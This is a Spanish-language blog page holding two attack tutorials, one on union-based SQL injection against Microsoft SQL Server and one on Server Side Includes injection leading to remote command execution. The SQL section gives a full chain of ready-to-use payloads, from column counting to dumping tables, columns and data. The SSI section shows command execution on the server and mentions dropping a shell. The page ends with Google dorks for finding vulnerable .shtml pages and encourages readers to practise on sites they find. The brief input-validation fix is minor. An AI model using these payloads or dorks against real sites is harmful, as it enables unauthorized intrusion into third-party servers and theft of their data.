Mostrando entradas con la etiqueta server. Mostrar todas las entradas
Mostrando entradas con la etiqueta server. Mostrar todas las entradas

viernes, 19 de febrero de 2016

MSSQL Union Based SQL Injection

Introduccion

La mayoria de las aplicaciones web que usan Miscrosoft SQL SERVER usan como tecnologia ASP/ASPX, en este tutorial si es que se le puede llamar de esa manera veremos como inyectar una pagina que contiene una base de datos Microsoft SQL SERVER. 

Los errores mas comunes que se pueden ver para saber si es vulnerable la aplicacion web, son los siguientes:

 

Detectando el tipo de inyeccion

Agregamos la comilla simple (') y vemos si arroja error... Ok, pero si agregamos comilla doble (") tambien arroja error... Para saber cual de las dos es la correcta agregamos un comentario...

' --+- No Hay error
" --+- Si Hay error

De esta manera, detectamos que la inyeccion es de tipo String. En caso de que quitando la comilla simple o doble, no hubiese habido error seria de tipo entero (Esto por como estan los parametros donde inyectamos).

Podemos agregar diferentes tipos de comentarios, podemos tomar como referencia la pagina de Roberto Salgado






Ahora a contar columnas

Para contar las columnas que tiene usamos ORDER BY... 

' ORDER BY 10000 --+- ERROR
' ORDER BY 10 --+- ERROR
' ORDER BY 1,2 --+- OK


En caso de que este fuera de limite te saldra un mensaje como el siguiente:


En este caso son 2 columnas solamente.


Unir la consulta original con la nuestra

Lo siguiente seria unir la consulta original con la nuestra para ello usaremos... UNION y SELECT para seleccionar datos.

' UNION SELECT 1,2 --+- ERROR

En caso de que tire un error, por usar numeros, podemos sustituir esos valores por nulos.



Es por que no contienen el mismo 'tipo de dato' por lo cual usaremos NULL en cada columna, ejemplo: UNION SELECT null,null,null...

' UNION SELECT null,null --+- OK

Para ver las columnas vulnerables en la web (en caso de que no se muestren) negaremos la primera consulta, en este caso utilizando: and 1=0 lo cual es falso, negando la primera consulta.

' AND 1=0 UNION SELECT null,null --+- OK

Mostrando datos

Usaremos @@version para saber la version que contiene la base de datos, de esta manera podemos saber que base de datos es la que contiene por defecto y estan disponibles.

 

En este caso nos arroja la version Microsoft SQL Server 2000:



Para conocer la base de datos actual utilizamos db_name().

Estas son algunas de las formas que podemos conseguir mas informacion en MSSQL:

@@version - Version Actual
user_name() - Nombre de Usuario Actual
user, system_user, current_user - Nombre de Usuario Actual
db_name() - Base de Datos Actual
@@servername - Nombre del Host


Extrayendo tablas, columnas y datos

Ahora vamos a extraer los nombres de las tablas, la sintaxis es un poco diferente a MySQL:

 
' AND 1=0 UNION SELECT table_name,null from (select top 1 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK      

' AND 1=0 UNION SELECT table_name,null from (select top 2 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK   

' AND 1=0 UNION SELECT table_name,null from (select top 3 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK     


En este caso cambiaremos TOP 1 por TOP 2 y asi sucesivamente, esto es como un LIMIT en MySQL, para limitar los resultados que va arrojando.

La siguiente sintaxis es para extraer las columnas de la tabla que selecciones:

' AND 1=0 UNION SELECT column_name,null from (select top 1 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


' AND 1=0 UNION SELECT column_name,null from (select top 2 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


' AND 1=0 UNION SELECT column_name,null from (select top 3 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


Como anteriormente lo hicimos con el TOP limitamos los resultados.

Por ultimo para extraer los datos en si, solo necesitariamos las tablas y columnas que queremos sacar los datos, y para concatenarlas utilizaremos + (%2b):

' AND 1=0 UNION SELECT TOP 1 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 2 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 3 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+-   
    
%2b es lo mismo que + solo que en URLENCODE.    

miércoles, 3 de abril de 2013

Inyeccion SSI (Server Side Includes)

Bueno la verdad no soy un experto en el tema pero es muy facil de comprenderlo... Antes de empezar a explicar la inyeccion empezare dando una breve explicacion de lo que trata SSI...

¿Que es SSI?

Server side includes... es una manera de mostrar contenido dinamico en una pagina web, sin necesidad de utilizar scripts, tales como: PHP,CGI,ASP,etc
Para poder usar Ssi es necesario hacer uso de las directivas que nos provee y tener activado en el servidor la opcion para poder utilizarlo.

¿Donde encontramos esta vulnerabilidad?

La vulnerabilidad se encuentra al activar SSI en el servidor en este ejemplo usaremos Apache como servidor....

 ¿Como activarlo?

Bueno en xampp (el que utilizaremos en este tutorial) y en muchas paginas web vienen activado por defecto muchas veces para los formatos con extension .shtml .... para ver un ejemplo editare el archivo httpd.conf viendo que viene por defecto activado para las paginas con extension .shtml:

Como puedes mirar en la imagen de ejemplo, tenemos
AddType text/html .shtml
es decir que si tu tienes archivos con la extension .shtml seran interpretados como archivos html
AddOutputFilter INCLUDES .shtml
quiere decir que filtrara la salida de todos los archivos shtml, si es que contienen las "directivas" de ssi, asi pudiendo ejecutar contenido dinamico :)

Entonces creo una pagina de ejemplo, llamada test_ssi.shtml:

Como puedes ver agrego un archivo html que seria puro contenido "estatico", pero al agregar algo como SSI (lo tengo activado para .shtml) como la fecha y hora local, al igual que ejecutar un comando para mostrar la lista de directorios esto ya vendria siendo contenido dinamico usando sus directivas, un poco mas adelante veremos la sintaxis y algunas directivas interesantes.....

El ejemplo anterior retorna un resultado como el siguiente:
Como puedes ver me ejecuta las directivas perfectamente....

Bueno antes de comenzar a mostrarles la inyeccion...

Sintaxis SSI y algunas de sus directivas

Su sintaxis es la siguiente:


Como puedes ver no es tan dificil ¿he? :P ya que es parecido a un comentario agregandole su etiqueta y parametros facil de usar :D

Algunas de sus directivas mas importantes son:
include,exec,echo...

Include= tiene los parametros file, direct o virtual y como te imaginas lo que hace es incluir archivos (html,scripts,txt,etc...) :D
Exec=tiene los parametros cgi o cmd, lo que hace esta directiva es ejecutar algun comando del sistema operativo o un script cgi.
Echo= tiene de parametro var esto nos permite mostrar variables de entorno algunas de ellas son: HTTP_USER_AGENT (navegador), LAST_MODIFIED (ultima vez que modifico el documento) HTTP_ACCEPT (el tipo de contenido que acepta nuestro navegador), si quieres mas informacion: http://es.wikipedia.org/wiki/Cabeceras_HTTP

Hay mas si quieren ver mas wikipedia :)

¿Como inyectamos?

Bueno la verdad es que para inyectar tiene que haber un "campo de entrada". Siempre que hay un campo de entrada puedes comprometer tu sitio a cualquier daño no obstante tambien te puede dar mucha diversion y paginas mas complejas como son twitter y facebook, google y youtube, etc...

Entonces ese campo para poder inyectarlo como el SSI es parecido a una etiqueta HTML podemos probar inyectando codigo html o javascript (XSS) de esta manera vamos a ver si podria ser vulnerado, en este caso ya no utilizare mas el html anterior sino utilizare un archivo PHP, para eso he configurado un archivo de configuracion .htaccess para que me acepte SSI en archivos PHP aunque no es necesario ya que PHP genera contenido dinamico pero es como parte de la Poc (Prueba de concepto)....

Aqui esta mi configuracion de mi .htaccess:

Y este es mi archivo vulnerable:

Como puedes ver no se filtra el campo d etexto prueba ni tampoco enviar, pero bueno en este caso prueba es el que nos interesa por que lo que hace es mostrar lo que le ingresemos dentro.... Como se veria la pagina seria:



Entonces un ejemplo muy muy basico de XSS es (sin comentarios lo puse asi por que me causaba problemas con blogger :P):



y el resultado al ingresarlo en el campo es el siguiente:

Como puedes ver es vulnerable a XSS, entonces ¿que pasaria si ingresamos alguna directiva de SSI? ya que como acepta codigo XSS que es inyectado en la pagina web, entonces podria aceptarnos una directiva :D

Entonces listemos los archivos del servidor:



En este caso como se que puedo inyectar XSS entonces formateo el texto con la etiqueta pre para que me formatee el texto al igual como me sale en la terminal :D


Y como vemos se ha ejecutado nuestro comando, entonces solo es cuestion de bajar la shell y tenemos control sobre el servidor :D, de todas maneras tenemos ejecucion de comandos remotamente (RCE) con lo que seria suficiente para algunos :P

¿Como lo solucionamos?

Simplemente validar bien la entrada soluciona el problema... para validar la entrada de este ejemplo:

En este caso como filtra cualquier codigo html o javascript que podamos inyectar, por ende no nos aceptaria la directiva sino que lo que haria es lo que "realmente queremos" mostrar lo que ingrese :D

Nota importante: Antes de que digan algo como dije PHP ya es dinamico entonces no es necesario que se incluya en archivos PHP pero podria haber un que otro .shtml vulnerable por ahi... y no solo eso sino cualquier campo de entrada que pueda o no mostrarse en la pagina web y que lo interprete el archivo o web que utilizamos puede ser vulnerado mientras SSI este activado, en ese caso si no lo utilizas y haces alguna de estas cosas puedes "desactivarlo" borrando las entradas anteriores :D

Si quieren practicarlo pueden usar alguna tecnica de buscadores para encontrar alguna que otra web vulnerable, recuerden que al principio dije que muchas veces viene activado por defecto en archivos .shtml y bueno casi siempre cuando hacen algun ejemplo de XSS es en un buscador, login o campo de entrada :P

Lista de dorks:
inurl:bin/Cklb/ 
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=

Espero que les haya sido de utilidad este tuto, si les gusto comenten no sean trolls jajaja :P